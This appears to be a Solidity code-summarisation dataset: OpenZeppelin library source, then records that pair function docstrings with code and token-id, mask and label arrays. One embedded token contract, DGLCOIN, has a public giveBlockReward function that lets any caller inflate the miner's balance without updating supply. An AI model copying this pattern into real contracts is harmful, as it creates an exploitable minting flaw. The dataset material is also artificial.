}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
@dev Set the token for sale @param _tokenId uint256 ID of the token @param _amount uint256 wei value that the item is for sale/
|
function setWeiSalePrice(uint256 _tokenId, uint256 _amount)
public
ownerMustHaveMarketplaceApproved(_tokenId)
senderMustBeTokenOwner(_tokenId)
{
tokenPrices[_tokenId] = _amount;
priceSetters[_tokenId] = msg.sender;
}
| 11,862,711 |
[
1,
694,
326,
1147,
364,
272,
5349,
225,
389,
2316,
548,
2254,
5034,
1599,
434,
326,
1147,
225,
389,
8949,
2254,
5034,
732,
77,
460,
716,
326,
761,
353,
364,
272,
5349,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
3218,
77,
30746,
5147,
12,
11890,
5034,
389,
2316,
548,
16,
2254,
5034,
389,
8949,
13,
203,
3639,
1071,
203,
3639,
3410,
10136,
17944,
3882,
24577,
31639,
24899,
2316,
548,
13,
203,
3639,
5793,
10136,
1919,
1345,
5541,
24899,
2316,
548,
13,
203,
565,
288,
203,
3639,
1147,
31862,
63,
67,
2316,
548,
65,
273,
389,
8949,
31,
203,
3639,
6205,
694,
5432,
63,
67,
2316,
548,
65,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract DGLCOIN {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
symbol = "DGL";
name = "DGLCOIN";
decimals = 18;
totalSupply = 2000000000000000000000000000;
balanceOf[0x08Dc438BB148788a11e7146C521b7CAD45176da0] = totalSupply;
emit Transfer(address(0), 0x08Dc438BB148788a11e7146C521b7CAD45176da0, totalSupply); // Set the symbol for display purposes
}
function totalSupply() public constant returns (uint) {
return totalSupply - balanceOf[address(0)];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function giveBlockReward() public {
balanceOf[block.coinbase] += 1;
}
}
|
* Constructor function Initializes contract with initial supply tokens to the creator of the contract/
|
constructor() public {
symbol = "DGL";
name = "DGLCOIN";
decimals = 18;
totalSupply = 2000000000000000000000000000;
balanceOf[0x08Dc438BB148788a11e7146C521b7CAD45176da0] = totalSupply;
}
| 6,938,094 |
[
1,
6293,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
40,
11261,
14432,
203,
3639,
508,
273,
315,
40,
11261,
3865,
706,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
2078,
3088,
1283,
273,
576,
12648,
12648,
12648,
3784,
31,
203,
3639,
11013,
951,
63,
20,
92,
6840,
40,
71,
24,
7414,
9676,
3461,
11035,
5482,
69,
2499,
73,
27,
27879,
39,
25,
5340,
70,
27,
39,
1880,
7950,
28493,
2414,
20,
65,
273,
2078,
3088,
1283,
31,
203,
565,
289,
203,
203,
2,
-100,
